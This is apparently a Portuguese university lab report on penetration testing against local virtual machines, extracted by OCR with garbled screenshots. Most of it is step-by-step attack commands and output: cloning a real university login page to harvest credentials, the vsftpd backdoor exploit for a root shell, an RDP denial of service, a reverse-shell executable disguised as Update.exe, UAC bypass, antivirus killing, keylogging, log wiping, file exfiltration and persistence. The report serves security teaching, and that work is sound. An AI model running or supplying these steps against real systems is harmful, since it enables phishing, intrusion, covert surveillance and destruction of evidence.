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Introducgao
As atividades orientadas a ensino realizadas focaram no tema de Seguranga
Computacional, com estudos direcionados ao entendimento base de principios de

seguranga computacional.

Os sistemas testados foram criados com maquinas virtuais locais com o propdsito de
estudar diferentes ferramentas de pentest e seguranca.

Exploragao de Vulnerabilidades
Criacao de Phishing

Objetivo:
Criar um site cépia para capturar credenciais de acesso.

SEToolkit

Ferramenta de engenharia social para criagdo de ataques, para essa atividade sera
utilizado para criagdo de um site clone. Ao iniciar a ferramenta sao selecionadas as opgbes
Social-Engineering Attacks > Website Attack Vectors > Credential Harvester Attack Method
> Site Cloner, confirmar o ip da maquina virtual, e passar a url para ser clonada, nesse caso

foi utilizada a url https://siscad.ufms.br/entrar.


https://siscad.ufms.br/entrar

Servigo Publico Federal
Ministério da Educacgao
Fundagao Universidade Federal de Mato Grosso do Sul

v Il Login UFMS

¢ ¢ QA a

UNIVERSIDADE
FEDERAL DE
MATO GROSSO DO SUL

Entrar

Passaporte UFMS.

de senha do passaporte UFMS

Quando o usuario tentar realizar um login, os dados serao salvos pelo setoolkit e 0 usuario
sera redirecionado para a pagina original que ele desejava acessar.

d.ufms.br/entrar

192.168.100.17 - - [06/Sep/2025 17:

3] "GET / HTTP/1.1"
192.168.100.17 - - [06/Sep/2025 17:17:16

] "GET / HTTP/1.1"

17:1
17:1

M: credentiallds=

Usos comuns para esse método de phishing sdo envios de emails maliciosos incentivando a
vitima a abrir um link utilizando dominios com nomes préximos aos legitimos, por exemplo,
utilizar o dominio “seguranca-instagram.com” para enviar um email de alerta de seguranca
solicitando que o usuario clique e faga login em uma url criada para a coleta do dado.


http://seguranca-instagram.com
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Exploragao de vulnerabilidade FTP

Objetivo:

Encontrar e explorar uma falha de seguranga em um servico FTP. Para isso sera utilizada
uma magquina virtual com Metasploitable 2, feita propositalmente com vulnerabilidades para
estudos de pentest.

Nmap

Utilizado para mapear possiveis vulnerabilidades em sites ou servidores. Para essa
atividade foi utilizado o comando:

Shell
nmap -p 21 --script=ftp-vsftpd-backdoor 192.168.56.101

Esse comando sinaliza que deve ser procurado na porta 21 utilizando o script
“ftp-vsftpd-backdoor” no ip 192.168.101, que corresponde ao ip da maquina virtual com
Metasploitable 2.

-p 21 —script=ftp-vsftpd r 192.168.56.101
3 Nmap 7.94SVN ( https nap. at 2025-09-06 22:09 -04
Nmap s -
Host is up (0.00034s latency).

PORT  STATE SERVICE

21/tcp open ftp

| ftp-vsftpd-backdoor:

| VULNERABLE:

vsFTPd version 2.3.4 backdoor
State: VULNERABLE (Exploit
IDs: BID:48539 CVE-2

VvsFTPd version

Disclosure date

i?name=CVE-2011-2523
1/07/alert-vsftpd nload-backdoored.html
tasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd 234 backdoor.rb
_ https:// ww .secur com/bid/48539
MAC Address: 08:00:27:77:9B: (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 14.46 seconds

A partir do resultado do nmap, é possivel detectar uma vulnerabilidade relacionada ao
CVE-2011-2523.

MSFConsole

Ferramenta para busca e execugao de exploits. Pesquisando por vulnerabilidades
relacionadas ao vsftpd.


https://www.cve.org/CVERecord?id=CVE-2011-2523
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msf6 > search vsftpd
Matching Modules
Name Disclosure Date Rank Check Description
auxiliar tp/| 32 2011-02-03 normal Yes VSFTPD Denial of Service

exploit /| L 2011-07-03 excellent No WSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use Loit/unix/ftp/vsftpd_234_backdoor

msf6 > I

Encontramos dois itens, sera utilizado o de backdoor. Para usar o exploit basta passar o
comando:

Shell
use exploit/unix/ftp/vsftpd_234_backdoor

msf6 exploit( ) > show options
Module options (exploit/unix/ftp/vsfipd_234 backdoor)
Name Current Setting Required Description
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using
-metasploit.html
RPORT 21 yes The target port (TCP)
Exploit target:

Id Name

Automatic

the full module info with the info, or info -d command.
) > set rhosts 192.168.56.101
) > show payloads

tible Payloads

Name Disclosure Date Rank Check Description

payload/cmd/unix/interact . normal No Unix Command, Interact with Established Connection

msf6 exploi ) > set payload payload/cmd/unix/interact
payload = funix/interact

Listando as opgdes para execucao do exploit, sdo solicitados o ip ou dominio do hospedeiro
do servico e a porta, por padrao 21. E listando os payloads, ¢ listado apenas um que prove
acesso a linha de comando. Tanto ip de destino quanto o payload sao definidos antes de
executar o exploit.
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msf6 exploit( ) > exploit

192.168.56. : Banner: 220 (vsFTPd 2.3.4)

192.168.56. 3 USER 1 Please specify the password.

192.168.56. 3 Backd service has been spawned, handling ...

192.168.56.101:21 - UID: uid=0(root) gid=0(root)

Found shell.

Command shell session 2 opened (192.168.56.102:36433 — 192.168.56.101:6200) at 2025-09-07 14:47:43 -0400

whoami
root
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 gdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
ineth ::1/128 scope host
valid_1ft forever preferred_lft forever
2: eth®: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast glen 1000
link/ether 08:00:27:77:9b:82 brd ff:ff:ff:ff:ff:ff
inet 192.168.56.101/24 brd 192.168.56.255 scope global eth®
ineth feB0::aP0:27ff:fe77:9b82/64 scope link
valid_1ft forever preferred_lft forever

Executando o exploit, é iniciada uma sessdo na maquina alvo com o usuario root.

Mesmo que a falha relacionada ao CVE-2011-2523 ja tenha sido concertada em versoes
posteriores, muitos sistemas nao sao atualizados com frequéncia, o que torna o uso de
ferramentas como nmap e msfconsole muito Uteis para identificar e utilizar exploits de forma
facil.

Ataque de DoS
Objetivo:
Realizar um ataque de DoS em uma maquina virtual com Windows XP através do desktop

remoto.

Primeiro passo € habilitar o acesso remoto no Windows XP e verificar o ip da maquina.

Command Prompt

Microsoft Windows HP [Uersion 5.1.26081
C(C) Copyright 1985-2001 Microsoft Corp.

C:~Documentz and Settingsuser>ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection—specific DHS Suffix
IP #fddress. - . . . . . . . . . 192 168 .56 .1A04
Subnet Mask . . . . . . . . . . 255.255.255.8
Default Gateway . . . - . . . .

C:“Documentsz and Settingssuser>



https://www.cve.org/CVERecord?id=CVE-2011-2523
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MSFConsole

Utilizado para buscar e executar exploits conhecidos na maquina alvo relacionados ao
Windows RDP.

msf6 > search windows/rdp

Matching Modules

Name sclosure Date Rank k Description

0 exploit/windows/rd ve_2019 0708 _bluekeep_rce 2019-05-14 manual 19-0708 BlueK
eep RDP Remote ndows Kernel Use After Free
\ et: Automatic targeting via fingerprinting
Windows 1.7601 x64)
Windows 1.7601 x64 - Virtualbox 6)
t: Windows 1.7601 x64 VMWare 14)
: Windows 6.1.7601 x64 - VMWare 15)
1
1
1
1
a

NN

: Windows L7601 x64 VMWare 15.1)
: Windows .7601 Hyper-V)
: Windows .7601 x AWS)
Windows L7601 x64 QEMU/KVM) 5 - 5
nnelids 2012- normal MS12-020 Microsoft

-~ o u &

Remote Desktop Use-After-Free DoS
11 exploit /rdp_doublepulsar_rce 2017-04-14 great RDP DOUBLEPULSAR Re
mote Code E;
: Execute payload (x64)
: Neutralize implant

vith a module by name or index. For example info 13, us 3 or use explo ] ws/rdp/rdp_doublepuls
acting th a module you can manually set a TARGET with se ARG ze implant

Shell

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

Apos configurar o ip da maquina hospedeira do servigo, basta executar o exploit.

kali-linux [Running] - Oracle VirtualBox

root@vbox: homeshinohara
Arquivo Agdes Editar Exibir Ajuda
root@vbox: fhome/shinohara X shinohara@vbox: ~ X

nsf6 auxiliary( > set rhosts 192.168.56.104
WinXP [Running] - Oracle Virtu rh = 1 8

File Machine View Input Dey o msf6 au ( ) > run

9 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free

Ataques de DoS podem causar sérios problemas a empresas em que a estabilidade e
disponibilidade de seus servigos sao criticos e poucos minutos fora do ar podem causar
sérios prejuizos financeiros e danificar a reputacdo da empresa.
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Adicionar um backdoor em um executavel

Objetivo:
Criar um executavel que quando executado por uma maquina virtual com Windows 7, crie
um backdoor para acesso remoto.

MSVenom

Uma ferramenta para criagao e codificacao de cargas, usada para injetar uma carga em um
executavel do windows permitindo uma conexao reversa assim que a vitima executar o
arquivo.

Shell

msfvenom -p windows/meterpreter/reverse_tcp -a x86 platform windows -f exe
LHOST=192.168.56.102 LPORT=4444 -o Update.exe

O comando acima define que a carga desejada é de tcp reverso, arquitectura x86,
plataforma windows, formato exe, ip da maquina que ganhara o acesso é 192.168.56.102,
a porta de acesso 4444, e o arquivo final se chama Update.exe.

Com o arquivo gerado, o arquivo deve ser disponibilizado para a maquina alvo. Para isso,
um servidor apache ¢ inicializado na maquina atacante e o arquivo Update.exe colocado no
diretério do apache /var/www/html.

':é Apache2 Debian Default Page: It works - Windows Internet Explorer | = || = || 2
@.\J v | hitp://192.168.56.102/ Update.exe | &[4 | x || 2 8ing L~
¢ Favoritos | 5k @] Sites Sugeridos * @ Galeria do Web Slice «
@ pp———r—x= Lo x L N — =1 éj ~ Pagina~ 3Seguranga v Ferramentas « |®|v
= Download concluido EI =
—J_I% Download concluide ral"t Page

m

Update.exe de 192.168.56.102

W e S

.| Baiear em: CUsers‘wser\Downloads'\Update exe .
This i transferéncia: 72.0KB/s beration of the Apache2 server after

insf . : means that the Apache HTTP server installe
[“liFechar a caixa de didlogo quando o download for concluido: P

att (located at /var/www/html/index.html)
bef]
If v o ] ’ Bpir pasta ] [ Fechar ] at this page is about, this probably means D

tha the nrohlem nerciste nlease rontarct the
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MSFConsole

Através do MSFConsole, é utilizado o multi/handler para utilizar o tcp reverso, depois
configurado os valores para o mesmo do utilizado pelo MSFVenom na geracao do
executavel malicioso.

msf6 exploit( ) > set payload windows/meterpreter/reverse tcp
payload = windows/meterpreter/reverse_tcp
msf6 exploit( ) > set LHOST 192.168.56.102
LHOST = 192.168.56.102
msf6 exploit( ) > set LPORT 4444
LPORT = 4444
msf6 exploit( ) > run
Started reverse TCP handler on 192.168.56.102:4444
Sending stage (177734 bytes) to 192.168.56.103
Meterpreter session 1 opened (192.168.56.102:4444 — 192.168.56.103:49160) at 2025-09-07 17:21:23

meterpreter > ]

Quando a vitima executar o arquivo, uma conexao € estabelecida da maquina atacante para
a vitima.

Sending stage (177734 bytes) to 192.168.56.103
Meterpreter session 1 opened (192.168.56.102:4444 — 192.168.56.103:49160) at 2025-09-07 17:21:22 -0400

meterpreter > ipconfig
Interface 1

Name : Software Loopback Interface 1

Hardware MAC : 00:00:00:00:00:00

MTU : 4294967295

IPv4 Addre 127.0.0.1

IPv4 Netma 255.0.0.0

IPv6 Addre 38 il

IPv6 Netmask : ffff:ffff:ffff:fiff:ffff:ffff:ffff:ffff

Interface 11

Name : Intel(R] /1000 MT Desktop Adapter
Hardware MAC : 08:00:27:83:ff:67

MTU : 1500

IPv4 Address :

IPv4 Netma 255.255.255.@

IPv6 Addr fe80 :: 588c:69cb:b54a: 7c49

IPve Netmask : ffff:ffff:ffff:ffff::

Uma vez estabelecida a conexao, a maquina vitima corre sérios perigos, suas agdes podem
ser monitoradas, arquivos encriptados e partes criticas do sistema comprometidas. Embora,
nessa atividade, a vitima tenha baixado o arquivo diretamente do atacante, para fins de
praticidade, esses tipos de executaveis maliciosos costumam ser disseminados através de
campanhas de phishing e de arquivos de produtos piratas.
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Pés-Exploragao
Escalonamento de Privilégios no Windows

Apos estabelecer uma conexdo com o exercicio anterior, comega o processo de
pos-exploragcéo, onde o atacante deve se manter escondido e coletar o maximo possivel de
dados sem chamar a atengao. Um primeiro passo comum é trocar o identificador do
processo da conexao, migrando para o id de processo do explorer.exe, por exemplo.

1860 468 svchost.exe X64 AUTORIDADE NTN\SISTEMA \Windows" svchost.exe
1880 468  taskhost.exe X64 user-PC\u Wind yst taskhost.exe
1936 828 dwm.exe X64 user G yst m.exe

1948 1928 explorer.exe X64 \

3032 1948 Update.exe x86

meterpreter > migrate 1948
i to 1948 ...
uccessfully.

Current pid
meterpreter >

Agora o Update.exe ndo vai mais aparecer nos processos, somente o explorer.exe. Para
realizar o escalonamento de permissdes, sera necessario iniciar outro exploit através do
MSFConsole. O comando background passa a sessao atual para o plano de fundo, depois o
comando search bypassuac busca por exploits que consigam burlar o acesso do usuario.

meterpre > ckground
Bac undi

) > search

Matching Modules

#  Name Disclosure Date Rank Check Description

0  exploit/win /local/bypassuac_windows_store_filesys 2019-08-22 manual Yes Windows 10 UAC Protect
ion Bypass Via Wir t (WSReset.exe)

1 exploit/wir loc y re_reg 2019-02-19 manual Yes Windows 1@ UAC Protect
ion Bypass Via Wir t
2 exploit/windows/local/bypassuac 2010-12-31 excellent No Windows Escalate UAC P
rotection Bypass

O comando use exploit/windows/local/bypassuac seleciona o exploit, e o comando show
options lista as variaveis necessarias para rodar o exploit.
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msf6 exploit( ) > use exploil indows/local/bypassuac
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( ) > show options

Module options (exploit/windows/local/bypassuac):
Name Current Setting Required Description

SESSION yes The session to run this module on
TECHNIQUE EXE ye Technique to use if UAC is turned off (Accepted: PSH, EXE)

Payload options (windows/meterpreter/reverse tcp):
Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 127.0.0.: yes The listen address (an interface may be specified)
LPORT (YA yes The listen port

Exploit target:
Id Name

Windows x86

) » set payload windows/meterpreter/reverse_tcp
indows/meterpreter/reverse_tcp
msfé exploi ) > set LHOST 192.168.56.102
LHOST = 1 168.56.102
msf6 exploit( ) > set LPORT 4445
LPORT = 4445
msf6 exploit( ) > set target 0
ta t =0
msf6 exploit( ) > set SESSION 1
SESSION = 1
msfé exploit( ) > exploit

Started reverse TCP handler on 192.168.56.102

UAC is Enabled, checking level ...

UAC is set to Default

BypassUAC can bypass this setting, continuing ..

Part of Administrators group! ( inuing ..

Uploaded the agent to the filesystem....

Uploadi the bypass UAC executable to the filesystem..

Meterpreter stager executable 73802 bytes long being uploaded..

Sending stag ] bytes) to 192.168. 1

Meterpreter session 2 opened (192.168.56.102:4445 — 192.168.56.103:49158) at 2025-09-10 20:40:28 -0400

meterpreter > I

Esse exploit utiliza a sesséo inicial como base para iniciar outra com privilégios escalados.
Rodando o comando getsystem do meterpreter ele tenta escalar os privilégios do usuario. O
comando whoami /priv dentro do shell lista as permissdes do usuario da sessao.
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meterpreter > getsystem

... got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > shell

Process 1516 created.

Channel 2 created.

Microsoft Windows [verseo 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Todos os direitos reservados.

C:\Windows\system32>whoami /priv
whoami /priv

INFORMAe<ES DE PRIVILeGIOS

Nome de privilegio Descrieeo

SelLockMemoryPrivilege Bloquear p#ginas na mem¢ria
SeTcbPrivilege Atuar como parte do sistema operacional
SeSystemProfilePrivilege Traear um perfil do desempenho do sistema
SeProfileSingleProcessPrivilege Tra¢ar um perfil de um ¢nico processo
SeIncreaseBasePriorityPrivilege Aumentar a prioridade de planejamento
SeCreatePagefilePrivilege Criar um arquivo de permuta
SeCreatePermanentPrivilege Criar objetos compartilhados permanentemente
SeDebugPrivilege Depurar programas

SeAuditPrivilege Gerar auditoria de seguranea
SeChangeNotifyPrivilege Ignorar a verifica¢eo completa
SeImpersonatePrivilege Representar um cliente ape®s autentica¢¢o
SeCreateGlobalPrivilege Criar objetos globais
SeIncreaseWorkingSetPrivilege  Aumentar conjunto de trabalho de processo
SeTimeZonePrivilege Alterar fuso horerio
SeCreateSymboliclLinkPrivilege Criar links simbelicos

Extragao de dados

Utilizando a mesma sesséao criada com escalonamento de privilégios, podem ser
executados mais comandos do meterpreter para extragdo de dados do usuario.

run post/window/manage/killav

Mata os antivirus que estiverem rodando na maquina.

run keyscan_start

Comeca a captura dos inputs de teclado do usuario da maquina.
run keyscan_dump

Imprime os inputs de teclado capturados

run keyscan_stop

Para a captura de inputs de teclado.

Estado

Ativada
Ativada
Ativada
Ativada
Ativada
Ativada
Ativada
Ativada
Ativada
Ativada
Ativada
Ativada
Ativada
Ativada
Ativada
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runvnc

Comeca uma nova sessao que captura a tela do computador infectado

kali-linux [Running] - Oracle VirtualBox

Win7 [Running] - Oracle VirtualBox

File Machine View Input Devices Help

& =[ls » user » Downlosds

Organizar v = Abrir Compartilhar com v Nova pasta = 0 @
T Nome Data de modificac... Tipo Tamanho B
M Area de Trabalho (13 Update 07/09/2025 17:02 Aplicativo T3 KB N @\J" & v user » Downloads '|‘7H Pesquisar 1load.
Downloads 1 -
.J B Organizar v [ Abrir Compartilhar com . Nova pasta =~ 0 @
S Nome Data de modificag... Tipo Tamanho
4 Bibliotecas B Area de Trabalho 8] Update 07/09/2025 17:02 Aplicativo 73Kk8
) Documentos & Downloads
] Imagens ] Locais
B 3 Bibliotecas
%] Documentos
& Grupo doméstico [ Imagens
& M
1% Computador B Videos
i Rede @ Grupo doméstico
|
| 8 Computador
| . i Rede
j| Update Datademodiiicac.. 07/09/2025 17:02 Data da criacdo: 07/09/202517:02
B sicaive Tamanho: 72,0 KB
3 _— 112
€©9 = S e D)
A2/ 100072035 |
BOonFLsNESE S8R s “j| Update Datade modificac... 07/09/202517:02 Data da criagao: 07/09/2025 17:02
Aplicativo Tamanha: 72,0 KB
e BT g omay || 212
e = ‘:W e G mied 10/09/2025 | |

p wnlcn 1S IFUELOLOr. PlXelL Tormat:

clearev

Limpa as evidéncias do acesso e acgdes.

ireter > clearev

Wiping 290 records from Application...

.
Wiping 709 records from System...

Wiping 240 records from Security ...
meterpreter > |

search -d C:/Users/user -f *.txt

Busca por arquivos dado o diretorio -d e 0 nome do arquivo -f, nesse exemplo estou
procurando por arquivos do tipo .txt no usuario user.

meterpreter > search -d Users/user -f x.txt

Size (bytes) Modified (UTC)

ser\AppData\Local\Microsoft\Internet Explorer\brndlog.txt 11770 2025-09-07 1

2025-09-07 1
2025-09-10 2

ser\AppData\Local\Temp\FXSAPIDebuglLogFile.txt

(4
C:\Users\user\Documents’\flag.txt 0
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download C:/Users/user/Documents/flag.txt
Baixa um arquivo da maquina infectada para a maquina invasora.

meterpreter > download C:/Users/user/Documents/flag.txt
Downloading: /Users/user/Documents/flag.txt — /home/shinohara/flag.txt
Completed : C:/Users/user/Documents/flag.txt — /home/shinohara/flag.txt
meterpreter >

upload /home/shinohara/Documentos/test_upload.txt C:/Users/user/Documents/

Envia um arquivo para a maquina invadida.

meterpreter > upload /home/shinchara/Documentos/test_upload.txt C:/Users/user/Documents/
Uploading : /home/shinohara/Documentos/test_upload.txt — U 1ser/Document est upload.txt

Completed : /home/shinohara/Documentos/test_upload.txt — sers/user/Documents/\test_upload.txt
meterpreter >

Scripts para execu¢ao do comandos do meterpreter

Para agilizar o processo de pés exploragéo, podem ser criados scripts que automatizam os
comandos. Esses scripts sdo escritos em arquivos com extenséo .rc.

Script para inicializacdo do exploit do backdoor de executavel utilizado anteriormente.

Shell

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.56.102

set lport 4444

exploit -z

A inicializacao pode ser executada com o comando.

Shell

msfconsole -r <script.rc>

Persisténcia de sessao

Com o backdoor criado anteriormente, é necessario que a vitima execute o arquivo
infectado para que o atacante possa ter acesso novamente a maquina. Para garantir o
acesso a maquina da vitima, pode ser utilizado outro exploit que gera um arquivo
executavel que inicia junto com a maquina.
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Partindo dos passos anteriores de inicializar uma sessao e a partir dela iniciar outra para
escalar os privilégios.

Utilizando o modulo windows/local/persistence_service.

msf6 exploit( ) > show options
Module options (exploit/windows/local/persistence_service):
Name Current Setting Required Description

REMOTE_EXE_NAME no The remote victim name. Random string as default.

REMOTE_EXE_PATH no The remote victim exe path to run. Use temp directory as default.
RETRY_TIME no The retry time that shell connect failed. 5 seconds as default.
SERVICE_DESCRIPTION no The description of servic Ra m string as default.
SERVICE_NAME no The name of service. Random string as default.

SESSION yes The session to run this module on

Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
EXITFUNC roce yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST .168.56. y The listen address (an interface may be specified)
LPORT L 45 yes The listen port
Exploit target:
Id Name

Windows

View the full module info with the info, or info -d command.

msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.56.102:4445
Run module inst USER-PC
er service exe written to C:\Users\user\AppData‘\local\Temp\pHzYG.exe
Creating service cqcQTt
Cleanup Meterpreter RC File: /r ns persistence/USER-PC_20250913.1351/USER-PC_20250913.1351.r¢
Sending stage (177 bytes. G
Meterpreter session 2 opened (192 : 3:49164) at 2025-09-13 3 -0400

meterpreter > |

Inicializando o exploit, aparece o log:

Shell

[+] Meterpreter service exe written to
C:\Users\user\AppData\Local\Temp\pHzYG.exe

Isso indica o arquivo que foi criado na maquina vitima que sera executado quando ela for
ligada.
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Ministério da Educacgao
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CONCLUSAO

Nas atividades praticas de ensino, investigou-se como atacantes identificam e exploram
vulnerabilidades em sistemas, e quais taticas sdo usadas para manter acesso apds a
exploragao. O uso combinado de ferramentas modernas de OSINT e frameworks de
exploragao como o MSFConsole aumenta significativamente a acessibilidade e a rapidez
com que sistemas desatualizados ou mal configurados podem ser comprometidos. Esse
cenario realga a necessidade continua de politicas e procedimentos de seguranca:
monitoramento ativo, gestdo de vulnerabilidades e atualizagdes regulares sdo medidas
essenciais para reduzir a superficie de ataque e impedir que brechas conhecidas sejam
exploradas. Além disso, a pratica demonstra que a defesa eficaz depende nao sé de
ferramentas técnicas, mas também de processos (p. ex., resposta a incidentes, backups,
hardening) e de capacitagcao de equipes para reconhecer e mitigar riscos.

Campo Grande, 13 de setembro de 2025.

Guilherme Shinohara
Académico

Carlos Alberto da Silva
Professor Orientador
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